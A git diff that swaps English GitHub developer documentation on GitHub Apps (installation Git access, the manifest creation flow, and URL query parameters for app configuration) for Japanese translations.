-For a list of endpoints related to installations, see "[Installations](/rest/reference/apps#installations)."
+インストールに関連するエンドポイントの一覧については、「[インストール](/rest/reference/apps#installations)」を参照してください。
 
-## HTTP-based Git access by an installation
+## インストールによる HTTP ベースの Git アクセス
 
-Installations with [permissions](/apps/building-github-apps/setting-permissions-for-github-apps/) on `contents` of a repository, can use their installation access tokens to authenticate for Git access. Use the installation access token as the HTTP password:
+リポジトリの `contents` に[権限](/apps/building-github-apps/setting-permissions-for-github-apps/)があるインストールは、インストールアクセストークンを使用して Git へのアクセスを認証できます。 インストールアクセストークンを HTTP パスワードとして使用してください。
 
 ```shell
 git clone https://x-access-token:&lt;token&gt;@github.com/owner/repo.git
diff --git a/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md b/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
index e561cf3c93..89cd3f8383 100644
--- a/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
+++ b/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub App from a manifest
-intro: 'A GitHub App Manifest is a preconfigured GitHub App you can share with anyone who wants to use your app in their personal repositories. The manifest flow allows someone to quickly create, install, and start extending a GitHub App without needing to register the app or connect the registration to the hosted app code.'
+title: マニフェストから GitHub App を作成する
+intro: GitHub App Manifest は、アプリケーションを個人のリポジトリで使いたい人と共有できる、構成済みの GitHub App です。 マニフェストフローにより、ユーザはアプリケーションを登録したり、ホストされたアプリケーションコードに登録を接続したりすることなく、GitHub App の拡張を素早く作成、インストール、開始できるようになります。
 redirect_from:
   - /apps/building-github-apps/creating-github-apps-from-a-manifest
   - /developers/apps/creating-a-github-app-from-a-manifest
@@ -11,79 +11,80 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: App creation manifest flow
+shortTitle: アプリケーション作成のマニフェストフロー
 ---
-## About GitHub App Manifests
 
-When someone creates a GitHub App from a manifest, they only need to follow a URL and name the app. The manifest includes the permissions, events, and webhook URL needed to automatically register the app. The manifest flow creates the GitHub App registration and retrieves the app's webhook secret, private key (PEM file), and GitHub App ID. The person who creates the app from the manifest will own the app and can choose to [edit the app's configuration settings](/apps/managing-github-apps/modifying-a-github-app/), delete it, or transfer it to another person on GitHub.
+## GitHub App Manifest について
 
-You can use [Probot](https://probot.github.io/) to get started with GitHub App Manifests or see an example implementation. See "[Using Probot to implement the GitHub App Manifest flow](#using-probot-to-implement-the-github-app-manifest-flow)" to learn more.
+GitHub App をマニフェストから作成する場合、URL とアプリケーションの名前をフォローするだけで済みます。 マニフェストには、アプリケーションを自動的に登録するために必要な権限、イベント、webhook URL が含まれています。 マニフェストフローは、GitHub App の登録を作成し、アプリケーションの webhook シークレット、秘密鍵 (PEM ファイル)、および GitHub App ID を取得します。 マニフェストからアプリケーションを作成した人はそのアプリケーションを所有し、[アプリケーションの構成設定を編集](/apps/managing-github-apps/modifying-a-github-app/)、削除、または GitHub 上の他のユーザに移譲することを選択できます。
 
-Here are some scenarios where you might use GitHub App Manifests to create preconfigured apps:
+[Probot](https://probot.github.io/) を使用して GitHub App Manifest に取りかかったり、実装例を見たりすることができます。 詳細については、「[Probot を使用して GitHub App Manifest フローを実装する](#using-probot-to-implement-the-github-app-manifest-flow)」を参照してください。
 
-* Help new team members come up-to-speed quickly when developing GitHub Apps.
-* Allow others to extend a GitHub App using the GitHub APIs without requiring them to configure an app.
-* Create GitHub App reference designs to share with the GitHub community.
-* Ensure you deploy GitHub Apps to development and production environments using the same configuration.
-* Track revisions to a GitHub App configuration.
+GitHub App Manifest を使用して構成済みのアプリケーションを作成するシナリオをいくつか挙げます。
 
-## Implementing the GitHub App Manifest flow
+* GitHub App を開発時に、新しい Team メンバーが迅速に取りかかれるようにする。
+* 他のユーザーがアプリケーションを構成する必要なく、GitHub API を使用して GitHub App を拡張できるようにする。
+* GitHub コミュニティに共有するため、GitHub App リファレンスデザインを作成する。
+* 開発環境と本番環境で確実に同じ構成を使用して GitHub App をデプロイする。
+* GitHub App の構成のリビジョンを追跡する。
 
-The GitHub App Manifest flow uses a handshaking process similar to the [OAuth flow](/apps/building-oauth-apps/authorizing-oauth-apps/). The flow uses a manifest to [register a GitHub App](/apps/building-github-apps/creating-a-github-app/) and receives a temporary `code` used to retrieve the app's private key, webhook secret, and ID.
+## GitHub App Manifest フローを実装する
+
+GitHub App Manifest フローは、[OAuth フロー](/apps/building-oauth-apps/authorizing-oauth-apps/)と同様のハンドシェイクプロセスを使用します。 このフローではマニフェストを使用して [GitHub App を登録](/apps/building-github-apps/creating-a-github-app/) し、アプリケーションの秘密鍵、webhook シークレット、およびID を取得するための一時 `code` を受け取ります。
 
 {% note %}
 
-**Note:** You must complete all three steps in the GitHub App Manifest flow within one hour.
+**注釈:** 1 時間以内に、GitHub App Manifest フローの以下の 3 つのステップすべてを完了する必要があります。
 
 {% endnote %}
 
-Follow these steps to implement the GitHub App Manifest flow:
+GitHub App Manifest フローを実装するには、以下の 3 つのステップに従います。
 
-1. You redirect people to GitHub to create a new GitHub App.
-1. GitHub redirects people back to your site.
-1. You exchange the temporary code to retrieve the app configuration.
+1. GitHub にユーザをリダイレクトして新しい GitHub App を作成する。
+1. GitHub がユーザをリダイレクトしてサイトに戻す。
+1. 一時コードをやり取りして、アプリケーションの構成を取得する。
 
-### 1. You redirect people to GitHub to create a new GitHub App
+### 1. GitHub にユーザをリダイレクトして新しい GitHub App を作成する
 
-To redirect people to create a new GitHub App, [provide a link](#examples) for them to click that sends a `POST` request to `https://github.com/settings/apps/new` for a user account or `https://github.com/organizations/ORGANIZATION/settings/apps/new` for an organization account, replacing `ORGANIZATION` with the name of the organization account where the app will be created.
+新しい GitHub App を作成するためユーザをリダイレクトするには、ユーザアカウントが `https://github.com/settings/apps/new` に、または Organization アカウントが `https://github.com/organizations/ORGANIZATION/settings/apps/new` に `POST` リクエストをクリックして送信するための[リンクを指定](#examples)します。`ORGANIZATION` は、アプリケーションが作成される Organization アカウントの名前で置き換えてください。
 
-You must include the [GitHub App Manifest parameters](#github-app-manifest-parameters) as a JSON-encoded string in a parameter called `manifest`. You can also include a `state` [parameter](#parameters) for additional security.
+`manifest` と呼ばれるパラメータに、JSON エンコードされた文字列として [GitHub App Manifest パラメータ](#github-app-manifest-parameters)を含める必要があります。 セキュリティ強化のため、`state` [parameter](#parameters) を追加することもできます。
 
-The person creating the app will be redirected to a GitHub page with an input field where they can edit the name of the app you included in the `manifest` parameter. If you do not include a `name` in the `manifest`, they can set their own name for the app in this field.
+アプリケーションを作成するユーザは GitHub ページにリダイレクトされます。GitHub ページには、 `manifest` パラメータに含めるアプリケーションの名前を編集する入力フィールドがあります。 `manifest` に `name` を含めていない場合、ユーザがこのフィールドでアプリケーションに独自の名前を設定できます。
 
-![Create a GitHub App Manifest](/assets/images/github-apps/create-github-app-manifest.png)
+![GitHub App Manifest の作成](/assets/images/github-apps/create-github-app-manifest.png)
 
-#### GitHub App Manifest parameters
+#### GitHub App Manifest のパラメータ
 
- Name | Type | Description
------|------|-------------
-`name` | `string` | The name of the GitHub App.
-`url` | `string` | **Required.** The homepage of your GitHub App.
-`hook_attributes` | `object` | The configuration of the GitHub App's webhook.
-`redirect_url` | `string` | The full URL to redirect to after a user initiates the creation of a GitHub App from a manifest.{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs.{% else %}
-`callback_url` | `string` |  A full URL to redirect to after someone authorizes an installation.{% endif %}
-`description` | `string` | A description of the GitHub App.
-`public` | `boolean` | Set to `true` when your GitHub App is available to the public or `false` when it is only accessible to the owner of the app.
-`default_events` | `array` | The list of [events](/webhooks/event-payloads) the GitHub App subscribes to.
-`default_permissions` | `object` | The set of [permissions](/rest/reference/permissions-required-for-github-apps) needed by the GitHub App. The format of the object uses the permission name for the key (for example, `issues`) and the access type for the value (for example, `write`).
+ | 名前                    | 種類                 | 説明                                                                                                                                                     |
+ | --------------------- | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
+ | `name`                | `string`           | GitHub App の名前。                                                                                                                                        |
+ | `url`                 | `string`           | **必須。**GitHub App のホームページ。                                                                                                                             |
+ | `hook_attributes`     | `オブジェクト`           | GitHub App の webhook の構成。                                                                                                                              |
+ | `redirect_url`        | `string`           | ユーザがマニフェストから GitHub App の作成を開始した後にリダイレクトする完全な URL。{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+ | `callback_urls`       | `array of strings` | インストールの承認後にリダイレクトする完全な URL。 コールバック URL を最大 10 個指定できます。{% else %}
+ | `callback_url`        | `string`           | インストールの承認後にリダイレクトする完全な URL。{% endif %}
+ | `説明`                  | `string`           | GitHub App の説明。                                                                                                                                        |
+ | `public`              | `boolean`          | GitHub App を公開する場合には `true` に、アプリケーションの所有者のみがアクセスできるようにするには `false` を設定。                                                                               |
+ | `default_events`      | `array`            | GitHub App がサブスクライブする[イベント](/webhooks/event-payloads)のリスト。                                                                                             |
+ | `default_permissions` | `オブジェクト`           | GitHub App が必要とする[権限](/rest/reference/permissions-required-for-github-apps)のセット。 オブジェクトのフォーマットでは、キーの権限名 (`issues` など) と、値のアクセスタイプ (`write` など) を使用します。 |
 
-The `hook_attributes` object has the following key:
+`hook_attributes` オブジェクトは、以下のキーを持っています。
 
-Name | Type | Description
------|------|-------------
-`url` | `string` | **Required.** The URL of the server that will receive the webhook `POST` requests.
-`active` | `boolean` | Deliver event details when this hook is triggered, defaults to true.
+| 名前       | 種類        | 説明                                              |
+| -------- | --------- | ----------------------------------------------- |
+| `url`    | `string`  | **必須。**webhook の `POST` リクエストを受信するサーバーの URL です。 |
+| `active` | `boolean` | フックがトリガーされた時に、イベントの内容が配信される (デフォルトはtrue)。       |
 
-#### Parameters
+#### パラメータ
 
- Name | Type | Description
------|------|-------------
-`state`| `string` | {% data reusables.apps.state_description %}
+ | 名前      | 種類       | 説明                                          |
+ | ------- | -------- | ------------------------------------------- |
+ | `state` | `string` | {% data reusables.apps.state_description %}
 
-#### Examples
+#### サンプル
 
-This example uses a form on a web page with a button that triggers the `POST` request for a user account:
+この例では、ウェブページ上にユーザアカウントに対して `POST` リクエストをトリガするボタンがあるフォームを使用します。
 
 ```html
 <form action="https://github.com/settings/apps/new?state=abc123" method="post">
@@ -118,7 +119,7 @@ This example uses a form on a web page with a button that triggers the `POST` re
 </script>
 ```
 
-This example uses a form on a web page with a button that triggers the `POST` request for an organization account. Replace `ORGANIZATION` with the name of the organization account where you want to create the app.
+この例では、ウェブページ上に Organization アカウントに対して `POST` リクエストをトリガするボタンがあるフォームを使用します。 `ORGANIZATION` は、アプリケーションを作成する場所の Organization アカウントの名前に置き換えます。
 
 ```html
 <form action="https://github.com/organizations/ORGANIZATION/settings/apps/new?state=abc123" method="post">
@@ -153,49 +154,49 @@ This example uses a form on a web page with a button that triggers the `POST` re
 </script>
 ```
 
-### 2. GitHub redirects people back to your site
+### 2. GitHub がユーザをリダイレクトしてサイトに戻す
 
-When the person clicks **Create GitHub App**, GitHub redirects back to the `redirect_url` with a temporary `code` in a code parameter. For example:
+**Create GitHub App** をクリックすると、GitHub はコードパラメータに一時的 `code` を付けて `redirect_url` にリダイレクトして戻します。 例:
 
     https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679
 
-If you provided a `state` parameter, you will also see that parameter in the `redirect_url`. For example:
+`state` パラメータを指定した場合、`redirect_url` にもそのパラメータが表示されます。 例:
 
     https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679&state=abc123
 
-### 3. You exchange the temporary code to retrieve the app configuration
+### 3. 一時コードをやり取りして、アプリケーションの構成を取得する
 
-To complete the handshake, send the temporary `code` in a `POST` request to the [Create a GitHub App from a manifest](/rest/reference/apps#create-a-github-app-from-a-manifest) endpoint. The response will include the `id` (GitHub App ID), `pem` (private key), and `webhook_secret`. GitHub creates a webhook secret for the app automatically. You can store these values in environment variables on the app's server. For example, if your app uses [dotenv](https://github.com/bkeepers/dotenv) to store environment variables, you would store the variables in your app's `.env` file.
+ハンドシェイクを完了するため、`POST` リクエストにある一時的 `code` を [GitHub App をマニフェストから作成する](/rest/reference/apps#create-a-github-app-from-a-manifest)エンドポイントに送信します。 このレスポンスには `id` (GitHub App ID)、`pem` (秘密鍵)、`webhook_secret` が含まれます。 GitHub はアプリケーションに対する webhook シークレットを自動的に作成します。 これらの値は、アプリケーションのサーバーの環境変数に格納できます。 たとえば、アプリケーションが [dotenv](https://github.com/bkeepers/dotenv) を使用して環境変数を格納する場合、変数をアプリケーションの `.env` ファイルに格納することになるでしょう。
 
-You must complete this step of the GitHub App Manifest flow within one hour.
+GitHub App Manifest フローのこのステップを、1 時間以内に完了する必要があります。
 
 {% note %}
 
-**Note:** This endpoint is rate limited. See [Rate limits](/rest/reference/rate-limit) to learn how to get your current rate limit status.
+**注釈:** このエンドポイントはレート制限されます。 現在のレート制限状態を確認する方法については、[レート制限](/rest/reference/rate-limit)を参照してください。
 
 {% endnote %}
 
     POST /app-manifests/{code}/conversions
 
-For more information about the endpoint's response, see [Create a GitHub App from a manifest](/rest/reference/apps#create-a-github-app-from-a-manifest).
+エンドポイントのレスポンスに関する詳しい情報については、[マニフェストから GitHub App を作成する](/rest/reference/apps#create-a-github-app-from-a-manifest)を参照してください。
 
-When the final step in the manifest flow is completed, the person creating the app from the flow will be an owner of a registered GitHub App that they can install on any of their personal repositories. They can choose to extend the app using the GitHub APIs, transfer ownership to someone else, or delete it at any time.
+マニフェストフローの最後のステップをフローからアプリケーションを作成するユーザは、登録した GitHub App の所有者となり、そのユーザの任意の個人用リポジトリにその GitHub App をインストールできます。 所有者は、GitHub API を使用してアプリケーションを拡張したり、所有権を他のユーザに移譲したり、任意の時に削除したりできます。
 
-## Using Probot to implement the GitHub App Manifest flow
+## Probot を使用してGitHub App Manifest フローを実装する
 
-[Probot](https://probot.github.io/) is a framework built with [Node.js](https://nodejs.org/) that performs many of the tasks needed by all GitHub Apps, like validating webhooks and performing authentication. Probot implements the [GitHub App manifest flow](#implementing-the-github-app-manifest-flow), making it easy to create and share GitHub App reference designs with the GitHub community.
+[Probot](https://probot.github.io/) は [Node.js](https://nodejs.org/) で構築されたフレームワークで、webhook の検証や認証の実行といった、あらゆる GitHub App が必要とする多くのタスクを実行します。 Probot は [GitHub App マニフェストフロー](#implementing-the-github-app-manifest-flow)を実装し、GitHub App のリファレンスデザインを作成し、GitHub コミュニティで共有することを容易化します。
 
-To create a Probot App that you can share, follow these steps:
+共有する Probot App を作成するには、次の手順に従います。
 
-1. [Generate a new GitHub App](https://probot.github.io/docs/development/#generating-a-new-app).
-1. Open the project you created, and customize the settings in the `app.yml` file. Probot uses the settings in `app.yml` as the [GitHub App Manifest parameters](#github-app-manifest-parameters).
-1. Add your application's custom code.
-1. [Run the GitHub App locally](https://probot.github.io/docs/development/#running-the-app-locally) or [host it anywhere you'd like](#hosting-your-app-with-glitch). When you navigate to the hosted app's URL, you'll find a web page with a **Register GitHub App** button that people can click to create a preconfigured app. The web page below is Probot's implementation of [step 1](#1-you-redirect-people-to-github-to-create-a-new-github-app) in the GitHub App Manifest flow:
+1. [新しい GitHub App を作成](https://probot.github.io/docs/development/#generating-a-new-app)します。
+1. 作成したプロジェクトを開き、 `app.yml` ファイルの設定をカスタマイズします。 Probotは、`app.yml` の設定を [GitHub App Manifest パラメータ](#github-app-manifest-parameters)として使用します。
+1. アプリケーションのカスタムコードを追加します。
+1. [GitHub App をローカルで](https://probot.github.io/docs/development/#running-the-app-locally) 実行するか、[任意の場所にホスト](#hosting-your-app-with-glitch) ホストします。 ホストされたアプリの URL に移動すると、 [**Register GitHub App**] ボタンがあるウェブページが表示され、これをクリックすると構成済みのアプリケーションを作成できます。 以下のウェブページは、GitHub App Manifest フローの [ステップ 1](#1-you-redirect-people-to-github-to-create-a-new-github-app) で Probot を実装したものです。
 
-![Register a Probot GitHub App](/assets/images/github-apps/github_apps_probot-registration.png)
+![Probot GitHub App の登録](/assets/images/github-apps/github_apps_probot-registration.png)
 
-Using [dotenv](https://github.com/bkeepers/dotenv), Probot creates a `.env` file and sets the `APP_ID`, `PRIVATE_KEY`, and `WEBHOOK_SECRET` environment variables with the values [retrieved from the app configuration](#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration).
+[dotenv](https://github.com/bkeepers/dotenv) を使用して、Probot は `.env` ファイルを作成し、`APP_ID`、`PRIVATE_KEY`、`WEBHOOK_SECRET` の環境変数に、[アプリケーションの設定](#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration)から取得した変数を設定します。
 
-### Hosting your app with Glitch
+### Glitch でアプリケーションをホストする
 
-You can see an [example Probot app](https://glitch.com/~auspicious-aardwolf) that uses [Glitch](https://glitch.com/) to host and share the app. The example uses the [Checks API](/rest/reference/checks) and selects the necessary Checks API events and permissions in the `app.yml` file. Glitch is a tool that allows you to "Remix your own" apps. Remixing an app creates a copy of the app that Glitch hosts and deploys. See "[About Glitch](https://glitch.com/about/)" to learn about remixing Glitch apps.
+[Probot アプリケーションのサンプル](https://glitch.com/~auspicious-aardwolf)で、[Glitch](https://glitch.com/) でアプリケーションをホストして共有する例を見ることができます。 この例では、[Checks API](/rest/reference/checks) を使用し、`app.yml` ファイルで、必要な Checks API イベントと権限を選択しています。 Glitch は、既存のアプリケーションを流用して独自のアプリケーションを作成 (リミックス) できるツールです。 アプリケーションをリミックスすると、アプリケーションのコピーが作成され、Glitch はそれをホストしてデプロイします。 Glitch アプリケーションのリミックスについては、「[Glitch について](https://glitch.com/about/)」を参照してください。
diff --git a/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md b/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
index 4c41f66d9e..2555804385 100644
--- a/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
+++ b/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub App using URL parameters
-intro: 'You can preselect the settings of a new {% data variables.product.prodname_github_app %} using URL [query parameters](https://en.wikipedia.org/wiki/Query_string) to quickly set up the new {% data variables.product.prodname_github_app %}''s configuration.'
+title: URL パラメータを使用して GitHub App を作成する
+intro: '新しい {% data variables.product.prodname_github_app %} の構成を迅速に設定するため、URL [クエリパラメータ] (https://en.wikipedia.org/wiki/Query_string) を使用して新しい {% data variables.product.prodname_github_app %} の設定を事前設定できます。'
 redirect_from:
   - /apps/building-github-apps/creating-github-apps-using-url-parameters
   - /developers/apps/creating-a-github-app-using-url-parameters
@@ -11,22 +11,23 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: App creation query parameters
+shortTitle: アプリケーション作成のクエリパラメータ
 ---
-## About {% data variables.product.prodname_github_app %} URL parameters
 
-You can add query parameters to these URLs to preselect the configuration of a {% data variables.product.prodname_github_app %} on a personal or organization account:
+## {% data variables.product.prodname_github_app %} URL パラメータについて
 
-* **User account:** `{% data variables.product.oauth_host_code %}/settings/apps/new`
-* **Organization account:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new`
+個人または Organization アカウントで、{% data variables.product.prodname_github_app %} の構成を事前設定する以下の URL をクエリパラメータに追加できます。
 
-The person creating the app can edit the preselected values from the {% data variables.product.prodname_github_app %} registration page, before submitting the app. If you do not include required parameters in the URL query string, like `name`, the person creating the app will need to input a value before submitting the app.
+* **ユーザアカウント:** `{% data variables.product.oauth_host_code %}/settings/apps/new`
+* **Organization アカウント:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new`
+
+アプリケーションを作成するユーザは、アプリケーションをサブミットする前に {% data variables.product.prodname_github_app %} 登録ページから事前設定する値を編集できます。 URL クエリ文字列に `name` などの必須の値を含めない場合、アプリケーションを作成するユーザが、アプリケーションをサブミットする前に値を入力する必要があります。
 
 {% ifversion ghes > 3.1 or fpt or ghae or ghec %}
-For apps that require a secret to secure their webhook, the secret's value must be set in the form by the person creating the app, not by using query parameters. For more information, see "[Securing your webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)."
+webhook を保護するためにシークレットが必要なアプリケーションの場合、シークレットの値はクエリパラメータではなく、アプリケーションを作成する人がフォームに設定する必要があります。 詳しい情報については「[webhookをセキュアにする](/developers/webhooks-and-events/webhooks/securing-your-webhooks)」を参照してください。
 {% endif %}
 
-The following URL creates a new public app called `octocat-github-app` with a preconfigured description and callback URL. This URL also selects read and write permissions for `checks`, subscribes to the `check_run` and `check_suite` webhook events, and selects the option to request user authorization (OAuth) during installation:
+以下の URL は、説明とコールバック URL が事前設定された、`octocat-github-app` という新しい公開アプリケーションを作成します。 また、この URL は`checks` の読み取りおよび書き込み権限を選択し、`check_run` および `check_suite` webhook イベントにサブスクライブし、インストール時にユーザの認可 (OAuth) をリクエストするオプションを選択します。
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
@@ -42,102 +43,102 @@ The following URL creates a new public app called `octocat-github-app` with a pr
 
 {% endif %}
 
-The complete list of available query parameters, permissions, and events is listed in the sections below.
+使用可能なクエリパラメータ、権限、およびイベントの完全なリストを、以下のセクションに記載します。
 
 ## {% data variables.product.prodname_github_app %} configuration parameters
 
- Name | Type | Description
------|------|-------------
-`name` | `string` | The name of the {% data variables.product.prodname_github_app %}. Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub user, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action.
-`description` | `string` | A description of the {% data variables.product.prodname_github_app %}.
-`url` | `string` | The full URL of your {% data variables.product.prodname_github_app %}'s website homepage.{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. These URLs are used if your app needs to identify and authorize user-to-server requests. For example, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.{% else %}
-`callback_url` | `string` | The full URL to redirect to after someone authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.{% endif %}
-`request_oauth_on_install` | `boolean` | If your app authorizes users using the OAuth flow, you can set this option to `true` to allow people to authorize the app when they install it, saving a step. If you select this option, the `setup_url` becomes unavailable and users will be redirected to your `callback_url` after installing the app.
-`setup_url` | `string` | The full URL to redirect to after someone installs the {% data variables.product.prodname_github_app %} if the app requires additional setup after installation.
-`setup_on_update` | `boolean` | Set to `true` to redirect people to the setup URL when installations have been updated, for example, after repositories are added or removed.
-`public` | `boolean` | Set to `true` when your {% data variables.product.prodname_github_app %} is available to the public or `false` when it is only accessible to the owner of the app.
-`webhook_active` | `boolean` | Set to `false` to disable webhook. Webhook is enabled by default.
-`webhook_url` | `string` | The full URL that you would like to send webhook event payloads to.
-{% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `string` | You can specify a secret to secure your webhooks. See "[Securing your webhooks](/webhooks/securing/)" for more details.
-{% endif %}`events` | `array of strings` | Webhook events. Some webhook events require `read` or `write` permissions for a resource before you can select the event when registering a new {% data variables.product.prodname_github_app %}. See the "[{% data variables.product.prodname_github_app %} webhook events](#github-app-webhook-events)" section for available events and their required permissions. You can select multiple events in a query string. For example, `events[]=public&events[]=label`.{% ifversion ghes < 3.4 %}
-`domain` | `string` | The URL of a content reference.{% endif %}
-`single_file_name` | `string` | This is a narrowly-scoped permission that allows the app to access a single file in any repository. When you set the `single_file` permission to `read` or `write`, this field provides the path to the single file your {% data variables.product.prodname_github_app %} will manage. {% ifversion fpt or ghes or ghec %} If you need to manage multiple files, see `single_file_paths` below. {% endif %}{% ifversion fpt or ghes or ghec %}
-`single_file_paths` | `array of strings` | This allows the app to access up ten specified files in a repository. When you set the `single_file` permission to `read` or `write`, this array can store the paths for up to ten files that your {% data variables.product.prodname_github_app %} will manage. These files all receive the same permission set by `single_file`, and do not have separate individual permissions. When two or more files are configured, the API returns `multiple_single_files=true`, otherwise it returns `multiple_single_files=false`.{% endif %}
+ | 名前                                                 | 種類                 | 説明                                                                                                                                                                                                                                                                                                                                                                                   |
+ | -------------------------------------------------- | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+ | `name`                                             | `string`           | {% data variables.product.prodname_github_app %} の名前。 アプリケーションには簡潔で明快な名前を付けましょう。 アプリケーションの名前は、既存の GitHub ユーザと同じ名前にできません。ただし、その名前があなた自身のユーザ名や Organization 名である場合は例外です。 インテグレーションが動作すると、ユーザインターフェース上にアプリケーション名のスラッグが表示されます。                                                                                                                                                         |
+ | `説明`                                               | `string`           | {% data variables.product.prodname_github_app %} の説明。                                                                                                                                                                                                                                                                                                                              |
+ | `url`                                              | `string`           | {% data variables.product.prodname_github_app %}のウェブサイトの完全なURL。{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+ | `callback_urls`                                    | `array of strings` | インストールの承認後にリダイレクトする完全な URL。 最大 10 個のコールバック URL を指定できます。 この URL は、アプリケーションがユーザからサーバへのリクエストを識別して承認する必要がある場合に使用されます。 たとえば、`callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`などです。{% else %}
+ | `callback_url`                                     | `string`           | インストールの承認後にリダイレクトする完全な URL。 この URL は、アプリケーションがユーザからサーバへのリクエストを識別して承認する必要がある場合に使用されます。{% endif %}
+ | `request_oauth_on_install`                         | `boolean`          | アプリケーションが OAuth フローを使用してユーザを認可する場合、このオプションを `true` にして、インストール時にアプリケーションを認可し、ステップを省略するように設定できます。 このオプションを選択した場合、`setup_url` が利用できなくなり、アプリケーションのインストール後はあなたが設定した `callback_url` にリダイレクトされます。                                                                                                                                                                                           |
+ | `setup_url`                                        | `string`           | {% data variables.product.prodname_github_app %} アプリケーションをインストール後に追加セットアップが必要な場合に、リダイレクトする完全な URL。                                                                                                                                                                                                                                                                                 |
+ | `setup_on_update`                                  | `boolean`          | `true` に設定すると、たとえばリポジトリが追加や削除された後など、インストールしたアプリケーションが更新された場合に、ユーザをセットアップ URL にリダイレクトします。                                                                                                                                                                                                                                                                                             |
+ | `public`                                           | `boolean`          | {% data variables.product.prodname_github_app %} を公開する場合には `true` に、アプリケーションの所有者のみがアクセスできるようにするには `false` を設定。                                                                                                                                                                                                                                                                     |
+ | `webhook_active`                                   | `boolean`          | Set to `false` to disable webhook. Webhook is enabled by default.                                                                                                                                                                                                                                                                                                                    |
+ | `webhook_url`                                      | `string`           | webhook イベントペイロードを送信する完全な URL。                                                                                                                                                                                                                                                                                                                                                       |
+ | {% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `string`           | webhook を保護するためのシークレットを指定できます。 詳細は「[webhook を保護する](/webhooks/securing/)」を参照。                                                                                                                                                                                                                                                                                                         |
+ | {% endif %}`events`                                | `array of strings` | webhook イベント. 一部の webhook イベントでは、新しい {% data variables.product.prodname_github_app %} を登録する際、イベントを選択するために`read` または `write` 権限が必要です。 利用可能なイベントと、それに必要な権限については、「[{% data variables.product.prodname_github_app %} webhook イベント](#github-app-webhook-events)」セクションを参照してください。 クエリ文字列では、複数のイベントを選択できます。 For example, `events[]=public&events[]=label`.{% ifversion ghes < 3.4 %}
+ | `ドメイン`                                             | `string`           | The URL of a content reference.{% endif %}
+ | `single_file_name`                                 | `string`           | これは、アプリケーションが任意のリポジトリの単一のファイルにアクセスできるようにするための、スコープの狭い権限です。 `single_file` 権限を `read` または `write` に設定すると、このフィールドは {% data variables.product.prodname_github_app %} が扱う単一のファイルへのパスを指定します。 {% ifversion fpt or ghes or ghec %}複数のファイルを扱う必要がある場合、以下の `single_file_paths` を参照してください。 {% endif %}{% ifversion fpt or ghes or ghec %}
+ | `single_file_paths`                                | `array of strings` | アプリケーションが、リポジトリ内の指定した最大 10 ファイルにアクセスできるようにします。 `single_file` 権限を `read` または `write` に設定すると、この配列は {% data variables.product.prodname_github_app %} が扱う最大 10 個のファイルへのパスを格納できます。 これらのファイルには、それぞれ別々の権限があたえられるでのではなく、すべて `single_file` が設定したものと同じ権限が与えられます。 2 つ以上のファイルが設定されている場合、API は `multiple_single_files=true` を返し、それ以外の場合は `multiple_single_files=false` を返します。{% endif %}
 
-## {% data variables.product.prodname_github_app %} permissions
+## {% data variables.product.prodname_github_app %} の権限
 
-You can select permissions in a query string using the permission name in the following table as the query parameter name and the permission type as the query value. For example, to select `Read & write` permissions in the user interface for `contents`, your query string would include `&contents=write`. To select `Read-only` permissions in the user interface for `blocking`, your query string would include `&blocking=read`. To select `no-access` in the user interface for `checks`, your query string would not include the `checks` permission.
+以下の表にある権限名をクエリパラメータ名として、権限タイプをクエリの値として使用することで、クエリ文字列で権限を設定できます。 たとえば、`contents` のユーザインターフェースに `Read & write` 権限を設定するには、クエリ文字列に `&contents=write` を含めます。 `blocking` のユーザインターフェースに `Read-only` 権限を設定するには、クエリ文字列に `&blocking=read` を含めます。 `checks` のユーザインターフェースに `no-access` を設定するには、クエリ文字列に `checks` 権限を含めないようにします。
 
-Permission | Description
----------- | -----------
-[`administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration) | Grants access to various endpoints for organization and repository administration. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %}
-[`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking) | Grants access to the [Blocking Users API](/rest/reference/users#blocking). Can be one of: `none`, `read`, or `write`.{% endif %}
